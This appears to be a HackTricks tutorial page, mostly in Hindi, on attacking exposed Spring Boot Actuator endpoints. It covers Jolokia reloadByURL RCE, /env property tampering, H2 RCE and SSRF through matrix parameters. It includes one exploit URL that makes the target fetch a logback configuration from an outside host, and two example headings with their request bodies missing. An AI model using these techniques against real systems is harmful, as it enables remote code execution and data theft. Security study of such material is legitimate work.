Spring Actuators
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Check the original post from [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Spring Boot Actuators ऐसे एंडपॉइंट्स रजिस्टर करते हैं जैसे कि /health
, /trace
, /beans
, /env
, आदि। संस्करण 1 से 1.4 में, ये एंडपॉइंट्स बिना प्रमाणीकरण के उपलब्ध हैं। संस्करण 1.5 से आगे, केवल /health
और /info
डिफ़ॉल्ट रूप से गैर-संवेदनशील हैं, लेकिन डेवलपर्स अक्सर इस सुरक्षा को बंद कर देते हैं।
कुछ Actuator एंडपॉइंट्स संवेदनशील डेटा को उजागर कर सकते हैं या हानिकारक क्रियाओं की अनुमति दे सकते हैं:
/dump
, /trace
, /logfile
, /shutdown
, /mappings
, /env
, /actuator/env
, /restart
, और /heapdump
।
Spring Boot 1.x में, एक्ट्यूएटर्स को रूट URL के तहत रजिस्टर किया जाता है, जबकि 2.x में, ये /actuator/
बेस पाथ के तहत होते हैं।
Remote Code Execution via '/jolokia':
/jolokia
एक्ट्यूएटर एंडपॉइंट Jolokia लाइब्रेरी को उजागर करता है, जो MBeans तक HTTP पहुंच की अनुमति देता है।
reloadByURL
क्रिया का उपयोग बाहरी URL से लॉगिंग कॉन्फ़िगरेशन को फिर से लोड करने के लिए किया जा सकता है, जो अंधे XXE या कस्टम XML कॉन्फ़िगरेशन के माध्यम से रिमोट कोड निष्पादन की ओर ले जा सकता है।
उदाहरण एक्सप्लॉइट URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
।
Config Modification via '/env':
यदि Spring Cloud Libraries मौजूद हैं, तो /env
एंडपॉइंट पर्यावरणीय गुणों में संशोधन की अनुमति देता है।
गुणों का हेरफेर करके कमजोरियों का लाभ उठाया जा सकता है, जैसे Eureka serviceURL में XStream deserialization की कमजोरी।
उदाहरण एक्सप्लॉइट POST अनुरोध:
Other Useful Settings:
गुण जैसे spring.datasource.tomcat.validationQuery
, spring.datasource.tomcat.url
, और spring.datasource.tomcat.max-active
का हेरफेर विभिन्न एक्सप्लॉइट्स के लिए किया जा सकता है, जैसे SQL injection या डेटाबेस कनेक्शन स्ट्रिंग्स को बदलना।
डिफ़ॉल्ट एक्ट्यूएटर्स की एक व्यापक सूची यहां पाई जा सकती है।
Spring Boot 2.x में /env
एंडपॉइंट गुण संशोधन के लिए JSON प्रारूप का उपयोग करता है, लेकिन सामान्य अवधारणा वही रहती है।
Env + H2 RCE:
/env
एंडपॉइंट और H2 डेटाबेस के संयोजन का लाभ उठाने के विवरण यहां पाया जा सकता है।
SSRF on Spring Boot Through Incorrect Pathname Interpretation:
HTTP पथ नामों में मैट्रिक्स पैरामीटर (;
) के हैंडलिंग का Spring फ्रेमवर्क Server-Side Request Forgery (SSRF) के लिए शोषण किया जा सकता है।
उदाहरण एक्सप्लॉइट अनुरोध:
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)